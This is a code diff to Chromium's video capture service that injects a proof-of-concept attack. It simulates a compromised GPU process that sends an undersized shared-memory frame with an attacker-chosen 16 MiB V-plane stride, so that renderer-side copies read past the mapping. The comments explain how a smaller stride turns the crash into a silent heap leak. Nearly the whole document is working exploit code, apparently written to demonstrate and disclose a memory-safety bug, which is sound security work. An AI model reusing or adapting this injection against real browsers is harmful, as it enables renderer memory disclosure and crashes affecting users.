diff --git a/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc b/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc index c63c52835af8f..d4a972ad0cb16 100644 --- a/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc +++ b/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc @@ -15,6 +15,7 @@ #include "base/functional/callback.h" #include "base/functional/callback_helpers.h" #include "base/memory/read_only_shared_memory_region.h" +#include "base/memory/unsafe_shared_memory_region.h" #include "base/metrics/histogram_macros.h" #include "base/strings/strcat.h" #include "base/strings/stringprintf.h" @@ -1566,6 +1567,80 @@ void FrameSinkVideoCapturerImpl::MaybeDeliverFrame(FrameCapture frame_capture) { TRACE_COUNTER("gpu.capture", "NumFramesInFlight", num_frames_in_flight_); + // ======================================================================== + // POC INJECTION: simulate a compromised GPU/viz process. Instead of the + // legitimate frame, send a VideoBufferHandle::unsafe_shmem_region whose + // backing region is too small for the V plane described by `info->strides`. + // The browser-side FrameSinkVideoCaptureDevice relays this verbatim into + // the renderer's VideoCaptureImpl, which constructs a media::VideoFrame + // whose V-plane span is far smaller than coded_size/stride imply. Any + // consumer that walks the V plane by stride*rows (e.g. libyuv::I420Copy in + // WebMediaPlayerMSCompositor::CopyFrame) reads past the shmem mapping in + // the victim renderer's address space. + // ======================================================================== + if (buffer_format_preference_ == + mojom::BufferFormatPreference::kPreferMappableSharedImage) { + constexpr int kW = 640; + constexpr int kH = 480; + constexpr uint32_t kStrideY = 640; + constexpr uint32_t kStrideU = 320; + // Attacker-controlled V-plane stride. libyuv::I420Copy walks the V plane + // as (kH/2 - 1) * kStrideV + kW/2 bytes from v_data; nothing on the path + // bounds-checks kStrideV against the v_data span size. A 16 MiB stride + // forces the copy to sweep ~3.7 GiB of the renderer's address space, + // guaranteeing it hits unmapped pages even though shmem mappings have no + // ASAN redzones. Smaller strides give a silent renderer-heap leak instead. + constexpr uint32_t kStrideV = 16u * 1024u * 1024u; + // I420: Y has kH rows, U/V each have kH/2 rows. + constexpr size_t kYSize = static_cast(kH) * kStrideY; // 307200 + constexpr size_t kUSize = static_cast(kH / 2) * kStrideU; // 76800 + // Allocate only enough for Y + U planes plus a tiny epsilon so the + // renderer's split_at() succeeds and v_data points 64 bytes before the + // end of the mapping. + constexpr size_t kShmemSize = kYSize + kUSize + 64; // 384064 + + auto bad_region = base::UnsafeSharedMemoryRegion::Create(kShmemSize); + if (!bad_region.IsValid()) { + LOG(ERROR) << "[POC] viz/GPU process: shmem Create() failed; skipping"; + consumer_->OnFrameCaptured(std::move(handle), std::move(info), + frame_capture.content_rect, + std::move(callbacks)); + consumer_informed_of_empty_region_ = false; + return; + } + auto bad_handle = media::mojom::VideoBufferHandle::NewUnsafeShmemRegion( + std::move(bad_region)); + + auto bad_info = media::mojom::VideoFrameInfo::New(); + bad_info->timestamp = info->timestamp; + // Minimal metadata: only what the renderer-side code dereferences. + bad_info->metadata = media::VideoFrameMetadata(); + bad_info->metadata.reference_time = info->metadata.reference_time; + bad_info->metadata.frame_rate = info->metadata.frame_rate; + bad_info->metadata.capture_begin_time = info->metadata.capture_begin_time; + bad_info->metadata.capture_end_time = info->metadata.capture_end_time; + bad_info->pixel_format = media::PIXEL_FORMAT_I420; + bad_info->coded_size = gfx::Size(kW, kH); + bad_info->visible_rect = gfx::Rect(0, 0, kW, kH); + bad_info->natural_size = gfx::Size(kW, kH); + bad_info->is_premapped = false; + bad_info->color_space = gfx::ColorSpace::CreateREC709(); + bad_info->strides = media::mojom::PlaneStrides::New(); + bad_info->strides->stride_by_plane = {kStrideY, kStrideU, kStrideV, 0u}; + + LOG(ERROR) << "[POC] viz/GPU process: sending malicious " + << "OnFrameCaptured(unsafe_shmem_region size=" << kShmemSize + << ", I420 " << kW << "x" << kH + << ", strides=" << kStrideY << "/" << kStrideU << "/" + << kStrideV << ") -> browser FrameSinkVideoCaptureDevice"; + + consumer_->OnFrameCaptured(std::move(bad_handle), std::move(bad_info), + gfx::Rect(0, 0, kW, kH), std::move(callbacks)); + consumer_informed_of_empty_region_ = false; + return; + } + // ======================== END POC INJECTION ============================= + // Send the frame to the consumer. consumer_->OnFrameCaptured(std::move(handle), std::move(info), frame_capture.content_rect, std::move(callbacks));